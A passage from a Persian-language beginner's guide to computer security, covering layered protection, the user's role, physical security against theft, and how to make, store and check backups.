چنانچـه از   . بـرد    از خطرات را از بين مي      هر لايه انواع خاصي   

هــاي مختلــف اســتفاده كنيــد مــسلماً در پيــشگيري از  لايــه
عمل رانندگي را درنظـر     . مشكلات بيشتري موفق خواهيد بود    

توان انديـشيد كـه احتمـال         بنظر شما چه تدابيري مي    . بياوريد
  وقوع تصادف كاهش يابد؟

  :اندبعضي از ملاحظات مناسب در زير آمده

نانچه ماشين نياز به تعمير داشته باشد بايد به درستي        چ •
 .تعمير شود

 .رانندگي بايد با دقت انجام گيرد •

چنانچه كارخانـه نـسبت بـه وجـود عيبـي در ماشـين               •
هشدار دهد كه با سلامت افراد مرتبط باشد، آن عيـب           

 .بايد سريعاً رفع گردد

هنگام رانندگي بايد احتياط كرد، چراكه ممكـن اسـت           •
 .هاي ديگر برايتان مشكل بيافرينندماشين

اگر در روزنامه هشدار داده شده كه پلي شكسته است،           •
 .بايد از رانندگي بر روي آن پرهيز شود

هيچكدام از عوامل بالا به تنهايي قادر بـه تـضمين سـلامت             
تـوان    شما نخواهند بود، ولي با درنظر گرفتن همـة آنهـا مـي            

 ـ          در . وجهي كـاهش داد   احتمال بروز تصادف را تا حـد قابـل ت
هـايي از   تدوين اجزاي يـك طـرح امنيتـي، افـراد بايـد لايـه             

حفاظت را بكار گيرنـد كـه ممكـن اسـت حتـي تـا حـدودي                 
خواهيـد از   براي درك بهتر تصور كنيد كه مـي     . تكراري باشند 

مـسلماً آنـرا در يـك       . يك تكه جواهر قيمتي محافظت كنيـد      
دهيـد؛ و     رار مي شده ق جعبة سربسته و سپس در يك اتاق قفل       

جهت كسب اطمينان بيشتر، آنـرا در برابـر سـرقت نيـز بيمـه         
در اين مثال عمل محافظت در چنـدين مرحلـه          . خواهيد نمود 

هركدام از اين مراحل بـه تنهـايي ضـريب          . انجام گرفته است  
برند، ولي مسلماً بكـارگيري     حفاظت از جواهر را كمي بالا مي      

ه اگـر در يـك مرحلـه بـا          تر است، چراك ـ    تمام مراحل عاقلانه  
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شكست مواجه شويد مراحل ديگر در رسيدن شما به موفقيت           
مثلاً اگر شخصي غيرقابل اعتمـاد در خانـه باشـد،           (كمك خواهد كرد    

  ).مسلماً قفل كردن در، راه مناسبي نيست

نكتة قابل توجه اين است كه بعضي مواقع احتمال دارد فنـون     
 امر ممكن است ناشي     اين. امنيتي نيز با شكست مواجه شوند     

سازي ضعيف و يا خطاهاي انـساني       از مشكلات طراحي، پياده   
تواند در مورد مـشكلات ابزارهـايي مثـل        اين مسئله مي  . باشد

بنابراين .  و رمزهاي عبور صدق كند     ١١رمزگذارييابها،  ويروس
چون امكان شكست براي هركـدام از ابزارهـا در هـر زمـاني              

  . شيوه تكيه نمودوجود دارد نبايد تنها بر يك

  نقش كاربر در امنيت
كنـد نقـش مهمـي در         اولين كاربر كه از رايانـه اسـتفاده مـي         

درمجمــوع . افزارهــاي آن دارد تــضمين ايمنــي رايانــه و نــرم
كاربران ديگر نيـز در تـضمين دقـت در عمليـات حفاظـت و               

دقت داشـته باشـيد كـاربراني كـه         . ايمني نقش بسزايي دارند   
انه اطلاعات كافي ندارند خود از بزرگترين       نسبت به امنيت راي   
  .روند اي بشمار ميخطرات امنيت رايانه

  امنيت يك هنر است، نه يك علم
ها هيچ تضمين صـد درصـدي       ها و شبكه  سازي رايانه   در ايمن 

وجود ندارد، چراكه هميشه نقايص تازه و راههاي جديد نفـوذ           
ز  كـه خـود ناشــي ا  -و فرصـتهاي نـو بـراي ايجـاد مـشكل      

اما اگـر مطالعـة     .  وجود خواهد داشت   -خطاهاي انساني است    
 اسـتفاده شـود     ١٢تجارب موفق امنيتي  دقيقي انجام بگيرد و از      

. تــوان در عملكــرد سيــستم امنيــت لازم را بوجــود آورد  مــي
پايگاههاي وب و گروههـاي پـستي سـازمانهاي حفاظـت از            

ند، توانند كمكهـاي شـاياني در ايـن زمينـه باش ـ            رايانه نيز مي  
تــوان در شــرايط غيــر معمــول و بــروز وضــعيت  چراكــه مــي

  .غيرعادي از راهنماييهاي آنها بهره گرفت

                                                                  
11  Encryption 
12  Security Best Practices 
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  فصل سوم
  هاامنيت رايانه و داده

  كليات
پردازيم كه از طريق آنهـا      در اين فصل به بررسي راههايي مي      

توان رايانـه را از لحـاظ فيزيكـي ايمـن كـرد و از سـرقت               مي
مباحـث عمـدة    . اي جلوگيري نمـود   رايانههاي    ها و برنامه    داده

هـاي پـشتيبان، و     امنيت فيزيكي، نسخه  : اين فصل عبارتند از   
  .تصديق هويت با استفاده از نام كاربري و رمز عبور

  مقدمه
هـاي درك مفهـوم امنيـت اطلاعـات         يكي از بهتـرين شـيوه     

با شـروع از معرفـي      .  است ١٣مندراهكار ضابطه استفاده از يك    
 در اين فصل، در ساير فـصول بخـش دوم بـه             امنيت فيزيكي 

بررسي جوانب ديگر امنيت خواهيم پرداخت و اساس اسـتقرار          
هـاي  هـاي شخـصي و گـروه        هاي امنيتي بـراي رايانـه       فرآيند

اطلاعات مربـوط بـه     . اي را توضيح خواهيم داد      كوچك رايانه 
هاي فني امنيـت بـراي سـازمانهاي بزرگتـر و كـاربران               جنبه

هنگاميكــه بــا . ش پــنجم ارائــه شــده اســتاي در بخــ حرفـه 
شده در اين فصل با كليات موضوع آشنا شـديد،     اطلاعات ارائه 

امنيت (توانيد با استفاده از مطالب ارائه شده در بخش پنجم             مي
  .بر دانش فني خود بيافزاييد) فناوري اطلاعات و راهبران فني

  امنيت فيزيكي
يد رايانة شـما از     اولين مرحله اين است كه اطمينان حاصل كن       

اين مرحله ممكن اسـت بـسته بـه         . لحاظ فيزيكي ايمن است   
ايـد يـا اينكـه رايانـه و         اينكه رايانه خود را در كجـا قـرار داده         

ها از چه حساسيتي برخوردار هستند يك قسمت جزئي يا            داده
  .يك قسمت بسيار مهم محسوب شود

                                                                  
13  Rule-Based Approach 

  سرقت رايانه

هـا و خـصوصاً     ايانهر. ها مشكلي رو به رشد است       سرقت رايانه 
شـوند و بـسيار سـخت    هاي كيفي به سادگي دزديده مي     رايانه

چنانچه سارق مايل به استفادة شخصي از رايانه        . شوندپيدا مي 
هـاي دزدي و      نباشد مراكز بسيار زيادي وجود دارند كه رايانـه        

برخـي از سـارقان، رايانـه و        . كننـد   دوم را خريداري مـي    دست
برند بلكـه قـسمتهاي       مل به سرقت نمي   نمايشگر آنرا بطور كا   

بايد گفـت كـه     . دزدند  مهم آن مانند حافظه و پردازشگر را مي       
 و نقلـشان نيـز آسـان         هر دو مورد بازار خوبي دارنـد و حمـل         

است، اما پيدا كردنشان اگر چه غيرممكن نيست ولـي بـسيار            
  .باشد دشوار مي

  :قانون اول
  .يدقبل از وقوع سرقت، به آن رايانه فكر كن

به سرقت رفتن رايانه بسيار آزار دهنده است و چنانچـه بيمـه             
در بعـضي   . نباشيد هزينة گزافي را بر شما تحميل خواهد كرد        

مواقع سرقت اطلاعات باعث افشاي امور شـغلي و يـا اسـرار             
گردد و در شرايط بـدتر، سـرقت رايانـه            محرمانة اشخاص مي  

انچـه در ايـن     با اينحال چن  . شود  باعث از دست دادن شغل مي     
قيمـت بكـار گرفتـه شـود        خصوص چنـد روش سـاده و ارزان       

هاي روميزي و كيفي جلوگيري كـرد       توان از سرقت رايانه     مي
  .يا حداقل احتمال آنرا به ميزان قابل توجهي كاهش داد

كـاري  : دو راهكار براي پيشگيري از دزدي رايانـه وجـود دارد     
 كنيد كه ميل به     كنيد كه سرقت رايانه دشوار شود؛ و يا كاري        

  .دزديدن رايانه كاهش يابد

  كاري كنيد كه سرقت رايانه دشوار شود

  :چند راه براي دشوار كردن سرقت رايانه وجود دارد

اطمينان حاصل كنيد كه محل نگهـداري رايانـه امـن            •
براي نگهداري از رايانه بايد از آن در يـك اتـاق            . است

ار خـود بـا     قفلدار نگهداري نماييد و يا اگر در محل ك ـ        
كنيد رايانه را در معرض ديـد         همكاران ديگري كار مي   

رايانه خود را در محافل عمومي ماننـد        . آنان قرار دهيد  
 .ها بدون مراقبت رها نكنيدفرودگاه

كنيد كه در زمـان عـدم حـضور شـما در              اگر تصور مي   •
محل كارتان ممكن اسـت شخـصي شـبانه وارد اتـاق            
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 از سيـستم آژيـر خطـر        شده و رايانه را به سرقت ببـرد       
 .استفاده كنيد

جهت ايجاد ايمني، رايانة خود را بوسيلة كابل سيمي و           •
يا زنجير به ميله، لوله يا اشيايي كه قابليـت جابجـايي            

از ايـن روش در محافـل نـسبتاً         . ندارند متـصل كنيـد    
. شـود   ها استفاده مي      عمومي مثل مدارس و يا كتابخانه     

. باشـند  خصوص اتصال ميها داراي محلي م   اكثر رايانه 
هاي كيفي نيز براي اينكار معمولاً داراي كابلها و          رايانه

 .قفلهاي بخصوصي هستند

باشـد كـه از بـاز شـدن           چنانچه رايانه داراي قفلي مـي      •
توان   مي. كند از آن استفاده نماييد       جلوگيري مي  ١٤بدنه

از پيچهاي مخـصوص كـه براحتـي قابـل بـاز كـردن              
 .نظور استفاده كردنيستند نيز براي اين م

هـاي كـاري يـا        مثـل داده  (چنانچه اطلاعـات ارزشـمندي       •
در رايانة شما وجـود دارد، لازم اسـت         ) اطلاعات شخصي 

زماني كه آنرا بدون مراقبـت قـرار داده و يـا از آن دور               
) شويد و رايانه در اتاق اسـت        مثلاً اگر از هتل خارج مي     (هستيد  
ممكن كـاهش    به آنرا تا حد      ١٥دسترسي منطقي امكان  
دسترسي منطقي بـه معنـاي اسـتفادة واقعـي از           . دهيد

رايانه در زماني است كه امكان دسترسي فيزيكـي بـه           
استفاده از رمزهـاي عبـور مـستحكم و         . آن وجود دارد  

نمـايش مجهـز بـه رمزهـاي عبـور       محافظهاي صفحه 
هاي مناسبي براي شـروع ايـن نـوع از حفاظـت            گزينه

 به بحث مربوط به مجوز ورود در        براي اطلاعات بيشتر  (هستند  
 ).همين فصل رجوع كنيد

باشـند و بـه        كوچك مي  ١٦هاPDAهاي كيفي و    رايانه •
چنانچـه از آنهـا     . همين دليل دزديدن آنها آسان اسـت      

كنيـد حتمـاً آنهـا را از محـيط كـار        استفادة زيادي نمي  
 .خارج نماييد

 كاري كنيد كه ميل به دزديدن رايانه كاهش يابد

هاي دسـت دوم باشـند بـسيار          ه مايل به خريد رايانه    افرادي ك 
اندك هستند، خصوصاً اگر مـشخص باشـد كـه رايانـه دزدي             

بهترين و ارزانترين روش براي اينكه سارقان تمايلي به         . است

                                                                  
14  Case 
15  Logical Access 
16  Personal Digital Assistants 

دزديدن رايانه نداشته باشند اين است كه مشخـصات خـود را            
 بر بدنة توان آنها را از بين برد با علائم ثابت و ماندگار كه نمي    

توانـد شـامل    اين اطلاعـات مـي    . رايانه حك و يا نقاشي كنيد     
دقت داشته باشـيد كـه از ايـن         . اسم يا مشخصات ديگر باشد    

نوع علامتها در قـسمت شـكاف تهويـه يـا شـكافهاي ديگـر           
همچنــين آگــاه باشــيد كــه گــاهي اوقــات . اســتفاده ننماييــد

  .مه گرددتواند باعث ابطال ضمانتناعلامتگذاري روي بدنه مي

  پذيرند ها آسيب رايانه

ها نسبت بـه گـرد و خـاك و سـطوح نـاهموار حـساس                  رايانه
چنانچه كاركردن با رايانه در محلي صورت بگيرد كـه        . هستند

گرد و خاك در آنجا وجود دارد مرتباً بايد بـا دقـت زيـاد آنـرا                 
هـا    برخـي رايانـه   . تميز كرد تا شـكاف تهويـه مـسدود نـشود          

رورفتگيهـا و برآمـدگيهاي سـطحي كـه         همچنين نسبت به ف   
  .باشندروي آن قرار دارند نيز حساس مي

  هاي ديگر امنيت فيزيكي جنبه

افزاري بدنـة رايانـه       چنانچه شما براي نصب يك قطعه سخت      
ايد بايد به اخطارهـايي كـه دربـارة شـوكهاي           خود را باز كرده   

ث شوك الكترواستاتيك باع ـ  (الكترواستاتيك داده شده توجه كنيد      
ضمناً ). شود و بايد از وقوع آن جلوگيري كرد         افزار مي   ديدن سخت صدمه

گرفتگي لازم است بـدن       توجه كنيد كه براي جلوگيري از برق      
  .شما با زمين در تماس دائم باشد

  هاي خود براي محافظت از داده
   تهيه نماييد١٧هاي پشتيباننسخه

در . مـد در قسمت قبل مطالبي در مورد ايجاد امنيت فيزيكي آ         
اين قسمت مواردي شرح داده خواهند شـد كـه بوسـيلة آنهـا              

ها از حفاظت     ها و برنامه    توان اطمينان حاصل كرد كه داده     مي
هـاي رايانـة      ها و برنامـه     شما چگونه از داده   . كامل برخوردارند 
  كنيد؟ خود حفاظت مي

ها از بين بروند كه برخي از آنها          به چند دليل ممكن است داده     
  :آمده استدر زير 

 پاك شدن اتفاقي فايل؛ •
 دزديده شدن رايانه؛ •

                                                                  
17  Backups 
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 ذخيرة ناخواسته يك فايل بر روي فايل ديگر؛ •
اي كه  روند نادرست به اجرا در آمدن يك برنامه بگونه         •

 ها شود؛ باعث تغيير يا پاك شدن داده
كه باعث تغييـر،    ) مثل ويروس (وجود يك برنامة مخرب      •

 ها شود؛ بازنويسي و يا حذف داده
، ١٨ديسك سخت مثل مشكلات   (افزار    وز مشكل در سخت   بر •

اي كه باعـث    بگونه) گردان، پردازشگر و يا منبع تغذيه     ديسك
 ها گردد؛ از بين رفتن داده

سوزي و استفاده از آب براي خاموش كردن رايانة           آتش •
هــا  ســوخته، كــه باعــث غيرقابــل بازيــابي شــدن داده

 شود؛ مي
 ...و  •

هـاي  ه با اين تهديدات، تهية نسخه     حلها براي مقابل    يكي از راه  
نسخه پشتيبان به خودي خود يك كپـي از         . باشد  پشتيبان مي 

اي از فايلها است كه با انتقال به يك ديسك           فايل يا مجموعه  
چنانچـه  . شـود   فلاپي و يا ديسك فشرده از آن نگهداري مـي         

تـوان از     فايل اصلي به هر دليلي از بين برود يا پاك شود مـي            
  .بان استفاده كرد و آنرا جايگزين فايل قبلي نمودنسخه پشتي

  :قانون دوم
مرتباً پشتيبان تهيه كنيد و اگر رايانـه در معـرض           

  .تهديد قرار دارد نكات حفاظتي را بكار گيريد
توانند بسيار ساده و يا بـسيار پيچيـده           هاي پشتيبان مي  نسخه
فلاپـي كـه از   توان به يك ديسك     ترين انواع پشتيبان مي   از ساده (باشند  

اكثـر  ). كنيـد اشـاره كـرد     مـي  آن در كشوي ميـز كـار خـود نگهـداري          
دهند فايلي    گير به شما اجازه مي    افزاري پشتيبان   هاي نرم   بسته

را كه در رايانه خود داريد به روي نوارهـاي مغناطيـسي و يـا               
چنانچـه رايانـة    .  كپي كنيد  ١٩اي از ديسكهاي فشرده     مجموعه

د يك رايانة جديد با ساختاري مـشابه  شما دزديده شود، با خري 
هاي پشتيبان قادر خواهيـد     رايانة قديمي و با استفاده از نسخه      

  .بود فايلهاي از دست رفته را مجدداً بكار گيريد

نقايص، تصادفات، بلاياي طبيعي و حملات مهـاجمين قابـل          
معمـولاً عليـرغم تلاشـهاي زيـاد بـراي          . بينـي نيـستند     پيش

توان از بروز بعضي از مشكلات جلوگيري        برقراري امنيت نمي  
نمود، ولي اگر پـشتيبان مناسـب تهيـه كـرده باشـيد حـداقل               

                                                                  
18  Hard Disk 
19  CD-ROMs 

توانيـد    دهيد و در اكثر مواقع مي       هاي خود را از دست نمي       داده
 خود را بازيابي كرده و به يك حالت متعادل و ماندگار             سيستم
تـه  هاي رايانه تماماً از دست رف     حتي درصورتيكه داده  . برسانيد

هـاي پـشتيبان در     باشد، چنانچه يك مجموعة كامل از نسخه      
اختيار داشته باشيد قادر خواهيد بـود همـة اطلاعـات را روي             
رايانة جديد بازيابي كنيد و مجدداً بـه آنهـا دسترسـي داشـته              

البتــه ايــن مــسئله صــرفاً زمــاني كارآمــد اســت كــه . باشــيد
ي ذخيره شـده    هاي پشتيبان در جايي غير از رايانة قربان        نسخه
  .باشند

هـاي  شـوند نـسخه   دلايل گوناگوني وجود دارند كه باعث مي      
هـا محـسوب      پشتيبان اجزاي كليدي و مهمي در امنيت رايانه       

  :شوند

  خطاي كاربر

بعضي از افراد برخي مواقع بطـور ناخواسـته فايلهـاي خـود را          
در استفاده از واسـطهاي گرافيكـي كـاربر ايـن           . كنند  پاك مي 

 دارد كه يك فايل يا شـاخه بطـور ناخواسـته بـه              امكان وجود 
اما چنانچه مرتباً از فايلها پشتيبان  . مكاني نادرست منتقل شود   

تهيه شده باشد امكان بازيابي فايلهايي كه بطور اتفاقي پـاك           
انجام اينكار در مقابله با اشتباهات . اند وجود خواهد داشت   شده

  .ي باشدتواند راهكار پيشگيرانه خوب كوچك نيز مي

  افزار نقص در سخت

افزار مورد اسـتفاده در هـر زمـاني ممكـن اسـت دچـار           سخت
ها در طول يـك فرآينـد         خرابي شود و باعث از بين رفتن داده       

توانـد    شـود نيـز مـي        وارد مي   هايي كه به ديسك     صدمه. گردد
ولـي چنانچـه از فايلهـا       . منجر به تخريب كامل ديسك شـود      

هـا را مجـدداً روي    تـوان داده   پشتيبان تهيـه شـده باشـد مـي        
  . جديد بازيابي نمود گردان و يا سيستمديسك

  افزار نقص در نرم

 Excel و Microsoft Wordهاي كاربردي مثل  اكثر برنامه
توانند باعث از بين رفـتن ناخواسـتة فايلهـاي       مي Accessو  

اگر نسخة پشتيبان داشته باشيد و برنامة كـاربردي   . داده شوند 
ن نيمي از اطلاعات حياتي فايلِ كاري شما را پـاك        شما ناگها 

  .هاي خود را بازيابي نماييدكند، باز هم قادر خواهيد بود داده
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  نفوذها و تخريبهاي الكترونيكي

ــا   ــر و ي ــاً باعــث تغيي مهــاجمين و ويروســهاي مخــرب مرتب
هاي پـشتيبان در ايـن   وجود نسخه. شوند ها مي شدن داده  پاك

  . كند  كمك شاياني ميزمينه نيز به كاربران

  اطلاعات بايگاني

شـده تلقـي    هـاي پـشتيبان بعنـوان اطلاعـات بايگـاني         نسخه
هـاي رايـج بـا        افزارهـا و داده     شوند كه امكان مقايسة نـرم       مي
ايـن قابليـت    . آورند  هاي قديمي را بوجود مي      افزارها و داده    نرم

شود بتوانيد مشخص كنيد كه چه چيزهايي عمداً يـا          باعث مي 
براي اين منظـور اگـر نخواهيـد بـه          . اند  اً دچار تغيير شده   سهو

عقــب برگــشته و تاريخچــة يــك پــروژه را بازســازي كنيــد  
  . آيند هاي پشتيبان منابع ارزشمندي بشمار مي نسخه

  سرقت

بـا توجـه    . ها و فروش آنها كار بسيار آساني است         سرقت رايانه 
 در  هـاي پـشتيبان و ذخيـرة آنهـا        به اين مسئله، تهية نـسخه     

محلي خارج از رايانه و در مكاني امن كمـك شـاياني خواهـد             
بود، چراكه موارد بسياري وجود داشته كـه پـشتيبانها نيـز بـه              

  .اند همراه رايانه به سرقت برده شده

  بلاياي طبيعي

سوزي اهميت حفاظـت   وقوع اتفاقاتي نظير سيل، زلزله و آتش  
ه نگهـداري   در ايـن زمين ـ   . كننـد از رايانه را بيشتر روشن مـي      

  .پشتيبانها در محلهاي ديگر بسيار مفيد خواهد بود

  بلاياي ديگر

سوزي ناشي از     هاي گاز و متعاقباً آتش      بعضي مواقع نشت لوله   
شدن مواد مايع روي دستگاه تهويـه باعـث بـروز           آن يا ريخته  
هـاي پـشتيبان    در اين موارد نيز وجود نسخه     . گردد  مشكل مي 

  .بسيار حياتي است

توانند داشـته باشـند       به نقش مؤثري كه پشتيبانها مي     با توجه   
نكتـة قابـل    . وجود اَشكال گوناگون آنها چندان عجيب نيست      

توجه اين است كه پـشتيبان بكاررفتـه در هركـدام از شـرايط              
به . فوق ممكن است براي شرايط ديگر كاربردي نداشته باشد        

ــه و    ــتفاده از حفاظــت چندلاي ــه اس ــيد ك ــته باش ــاطر داش خ
گيري سيستمهاي گوناگون تهية پـشتيبان جهـت ايجـاد          بكار

ايمني در برابر خطراتي كه در اداره و يـا منـزل بـا آن مواجـه       
  .هستيد، مؤثرترين راه است

  :هاي تهية پشتيبان آمده است ذيلاً چند مورد از شيوه

فايلهــاي حــساس خــود را روي ديــسك فلاپــي،      •
 ديسكهاي نوري، و يا ديسكهاي مغناطيسي با ظرفيت       

كردن نيز در آنها وجـود دارد كپـي           بالا كه قابليت پاك   
 . كنيد

 يـا   ٢٠ديـسك انعكاسـي   محتويات ديسك را روي يك       •
اگر فضاي كـافي موجـود اسـت روي يـك شـاخه در              

البته اينكار در خرابيهاي    . همان ديسك مادر كپي كنيد    
كند و صرفاً اگـر تعـدادي از    اساسي كمك چنداني نمي   

 .آيد اك شوند بكار ميفايلها بطور ناخواسته پ

اي از فايلهـاي    شـده سـازي   هر از چندگاه آرشيو فشرده     •
تـوان پـشتيبانهاي      البتـه مـي   . مهم خـود ايجـاد كنيـد      

ــان سيــستم   ــه را روي هم ــه و يــا روي   مربوط  اولي
هاي ديگر و در مكانهاي فيزيكي متفـاوت كپـي           رايانه
 .نمود

از فايلهاي خود پشتيبان تهيه كرده و از طريـق شـبكه            •
 .يا اينترنت آنرا به رايانة ديگري منتقل كنيد

اگر درنظر داريد كه در مقابل خرابي ديسكهاي سخت           •
از ايمني زيادي برخـوردار باشـيد در رايانـة خـود از دو              

افزاري كه از هـر       افزار يا سخت    ديسك سخت و از نرم    
البتـه  . كند استفاده نماييـد     فايل يك پشتيبان تهيه مي    

با رعايت تمامي اين موارد بازهم      لازم به ذكر است كه      
تهية مداوم پشتيبان جهت حفاظت در برابر مـشكلات         

 .باشد ديگر ضروري مي

  از چه چيزهايي بايد پشتيبان تهيه كرد؟

  :دو ديدگاه در اين زمينه وجود دارد

 البته  -از تمام فايلهايي كه اختصاصي رايانة شما است          .۱
ايـن  . يه كنيد  پشتيبان ته  -هاي كاربردي     غير از برنامه  

شـود ولـي      اي مـي  امر در قدم اول شامل فايلهاي داده      
دقــت داشــته باشــيد كــه بايــد از تمــام فايلهــايي كــه 
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ش
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هاي كـاربردي را بـر       عامل و برنامه   سيستم ٢١سازگاري
) مثــل انــواع فايلهــاي تنظيمــات و پيكربنــدي(عهــده دارنــد 

تعيين محل نگهداري اين فايلها و      . پشتيبان تهيه گردد  
ن اطمينان از صحت آنها بـراي بازيـابي بـدون           همچني

توانيـد  اشكال در آينده كار بسيار دشواري است، اما مي        
اي خـود را در چنـد شـاخه اصــلي    تمـام فايلهـاي داده  

اي تهيه نماييد كـه     نگهداري كنيد و پشتيبانها را بگونه     
  .تنها اطلاعات يكتا و اختصاصي شما را پوشش دهند

بـا تهيـة پـشتيبان از       . ه كنيـد  از همه چيز پشتيبان تهي     .۲
اي كـه از آن        بـسته بـه نـوع اسـتفاده        -تمام سيـستم    

تـوان كـل سيـستم را درصـورت لـزوم           مـي  -شود    مي
همچنين قـادر خواهيـد بـود فايلهـا و يـا            . بازيابي كرد 

  . هاي خاص را بازيابي نماييدشاخه

  :كنيم ما استفاده از هر دو روش را بصورت همزمان توصيه مي

تكميل نصب سيستم خود از تمـام فايلهـا و          به محض    .۱
 مثلاً هر چنـد مـاه       -مشخصات رايانه بصورت متناوب     

  . پشتيبان تهيه نماييد-يكبار 

هاي شخـصي خـود طبـق يـك زمانبنـدي بـا               از داده  .۲
بـسته بـه نـوع      . هاي كوتاهتر پشتيبان تهيه كنيد     دوره

گيري روشهاي گونـاگوني وجـود      كاربرد، براي پشتيبان  
 :دارد

هاي شخصي خـود پـشتيبان تهيـه          تمام داده از   •
مگر اينكه حجم وسيعي    ) هر چند ماه يكبار   (نماييد  

  .داشته باشند و امكان اينكار وجود نداشته باشد

هاي شخصي شما زياد است متناوباً        چنانچه داده  •
هـاي    از آن پشتيبان تهيه نماييد، ولي در فاصله       

 گيري كنيـد كـه    كوتاه فقط از فايلهايي پشتيبان    
گيـري  به اين نـوع پـشتيبان  . انددچار تغيير شده  

توجه داشته  . گويند   مي ٢٢گيري افزايشي پشتيبان
باشـيد كـه بــراي بازيـابي فايلهــا در ايـن نــوع     

گيري، هم به آخـرين نـسخة پـشتيبان         پشتيبان
كامل و هم به آخرين نسخة پشتيبان افزايـشي         

 .نياز خواهيد داشت
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معمـولاً  . نيـز وجـود دارد    گيـري   هاي ديگري از پشتيبان   گونه
گيـر در مـورد چگـونگي تهيـه پـشتيبان           هاي پـشتيبان  برنامه

  .كنندپيشنهاداتي به كاربر ارائه مي

  هاي پشتيبان بايد در كجا نگهداري شوند؟ نسخه

پاسخ اين سؤال وابسته به دليل شما براي استفاده از پشتيبانها   
ر مقابـل   هـا د  گيري بـراي حفاظـت از داده      اگر پشتيبان . است

سازي نبايد نزديـك      سوزي است محل ذخيره     سرقت و يا آتش   
 رايانه باشد؛ بلكه بايد جايي باشد كـه در مقابـل ايـن               سيستم

ولـي اگـر تهيـة      . مشكلات از حفاظت كامل برخـوردار باشـد       
هاي پاك شده يا تغييـر كـرده        پشتيبان فقط براي بازيابي داده    

ب شـود كـه     پذيرد، بايـد محـل آن طـوري انتخـا           صورت مي 
  .دسترسي به آن آسان باشد

يك راه حل اين است كه پشتيبانهاي كامل را در يك محـل             
راه . امن و پشتيبانهاي افزايشي را در محلي نزديك قرار دهيد         

هـا را     شـده از داده   ديگر اين است كه جديدترين پشتيبان تهيه      
تـر    تـر را در محلهـاي امـن         هاي قـديمي  در دسترس و نسخه   

كننـد و     ضي افراد از پشتيبانها دو نسخه تهيـه مـي         بع. بگذاريد
يك نسخه را در دسترس و ديگـري را دور از دسـترس قـرار               

  .دهند مي

هايي داريد كه سارقان قصد سرقت آنها         اگر در رايانة خود داده    
را دارند بايد هميشه به ياد داشته باشـيد كـه آنهـا بـا سـرقت                 

هـا را بدسـت       دهنسخة پشتيبان نيز قادر خواهند بود همـان دا        
آورند و به همين دليل ضروري است كه از پشتيبانها نيز مانند            

  .خود رايانه حفاظت فيزيكي لازم را بعمل آوريد

  آيا پشتيبانها قابل استفاده هستند؟

به چند دليل ممكن است هنگـام نيـاز نتوانيـد از پـشتيبانهاي       
  :شده استفاده كنيدتهيه

 لحاظ فيزيكي صدمه    نسخة مربوطه بسيار كهنه و يا از       •
بروز ايـن مـشكل در ديـسكهاي فلاپـي و           . ديده باشد 

 .خورد هاي مغناطيسي بيش از همه به چشم ميرسانه

شـده داراي   دستگاهي كه پشتيبان بوسـيلة آن نوشـته        •
شـده در   اشكال بـوده و بـه همـين دليـل دادة نوشـته            

در اين موارد امكـان دارد      . پشتيبان قابل خواندن نباشد   
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 يك دستگاه مشابه ديگر، پشتيبان مورد نظر را         بتوان با 
 .خواند

اي كه پـشتيبان روي آن قـرار داده شـده دچـار             رسانه •
اين نقص رسانه در ديسكهاي فلاپي      . نقص شده باشد  

اشكال بسيار رايجي بود بطوريكه اگر يك ديسك تنها         
شـد   چند روز بعد از تهيه شدن غير قابل خوانـدن مـي            

ديـسكهاي  . انگيخـت مـي چندان تعجب كسي را بـر ن      
هـاي بـسيار مانـدگارتر شـهرت         فشرده بعنـوان رسـانه    

داشتند، اما يـك مطالعـه در سـالهاي اخيـر نـشان داد              
اي كه كيفيت چندان مطلوبي ندارنـد       ديسكهاي فشرده 

ممكن است بعـد از گذشـت حـدود دو سـال از زمـان               
 .شدن اطلاعات روي آنها غيرقابل خواندن شوندنوشته

هاي پشتيبان با دستگاهي غير از آن كه نسخة         خواندن نسخه 
پشتيبان با آن تهيه شده كنترل مناسبي براي كسب اطمينـان           

دقـت داشـته    . از صحت رسانة حاوي نـسخه پـشتيبان اسـت         
باشيد كه اگر براي نوشتن پشتيبان از ديسكهاي مغناطيسي با          

 و  Zipمثـل ديـسكهاي     (كنيـد     قابليت پاك كـردن اسـتفاده مـي       
  . ديسكهاي نو و تميز استفاده نماييد، از)فلاپي

بعضي اشخاص پشتيبانها را براي مدت بـسيار طـولاني نگـه            
دارند؛ اما سؤال اين اسـت كـه قـرار اسـت چـه زمـاني از                   مي

هـا  هايي كه چند سال قبل از اسناد و تـصاوير و برنامـه            نسخه
تهيه شده استفاده كنند؟ اگر درنظر داريد براي زمان طـولاني           

 را نگهداري كنيد بايـد احتمـال از رده خـارج شـدن              پشتيبانها
اي در يك   براي مثال اگر داده   . رسانه را نيز مد نظر قرار دهيد      
 رايج بـوده ذخيـره شـده        ۱۹۸۰فلاپي پنج اينچي كه در سال       

گردان پـنج اينچـي      اي با ديسك  توان رايانه   باشد آيا امروز مي   
  براي بازيابي آن پيدا كرد؟

  ايد نگهداري شود؟چند نسخة پشتيبان ب

اي يكبار از آنچـه داريـد پـشتيبان تهيـه كنيـد               اگر شما هفته  
بار، حداكثر اطلاعـات      درصورت مواجهه با يك فاجعة مصيبت     

انجـام اينكـار از ديـدگاه    . يك هفتـه را از دسـت خواهيـد داد         
شده امنيتي قابل توجيه است ولي در طول زمان فضاي اشغال         

چـه تعـداد از ايـن       . شـود شتر مـي  بوسيلة پشتيبانها بيشتر و بي    
پشتيبانها را بايد نگه داشت؟ اگر از ديسكهاي مغناطيسي و يا           

كنيد دليلي نـدارد كـه بخواهيـد          ديسكهاي فشرده استفاده مي   
آنها را سريع دور بياندازيد، چون حجم كمـي دارنـد و قابليـت              

استفادة مجدد هـم ندارنـد؛ امـا همـواره بايـد چنـد نـسخه از             
تـوان از چهـار     در تمام مثالهاي بالا مي    . ا نگهداريد پشتيبانها ر 

  .نسخة آخر نگهداري كرد

چرا بهتر است اينگونه عمل شود؟ چرا بايد نسخة مربـوط بـه             
مــاه قبــل را در شــرايطي كــه نــسخة جديــدتري وجــود دارد 

ممكـن اسـت نـسخة      : نگهداري كرد؟ دليـل آن سـاده اسـت        
، گم شود، و يا به      ايد قابل خواندن نباشد     آخري كه ايجاد كرده   

هـاي  در اينصورت واضح است كه اگرچـه نـسخه        . سرقت رود 
ماههاي قبلي كاملاً بـه روز نيـستند، ولـي بودنـشان بهتـر از               

اين مورد يك مثال ديگر از اين نكتـه اسـت           . نبودنشان است 
كه ايمنـي سـطح بـالا از معيارهـاي چندگانـه و تـا حـدودي                 

  .شودتكرارشده تشكيل مي

  شده پشتيبان تهيه كنيد خريداريافزار از نرم

ايـد ايـن اجـازه را       افزارهايي كه خريداري كرده   اگر گواهي نرم  
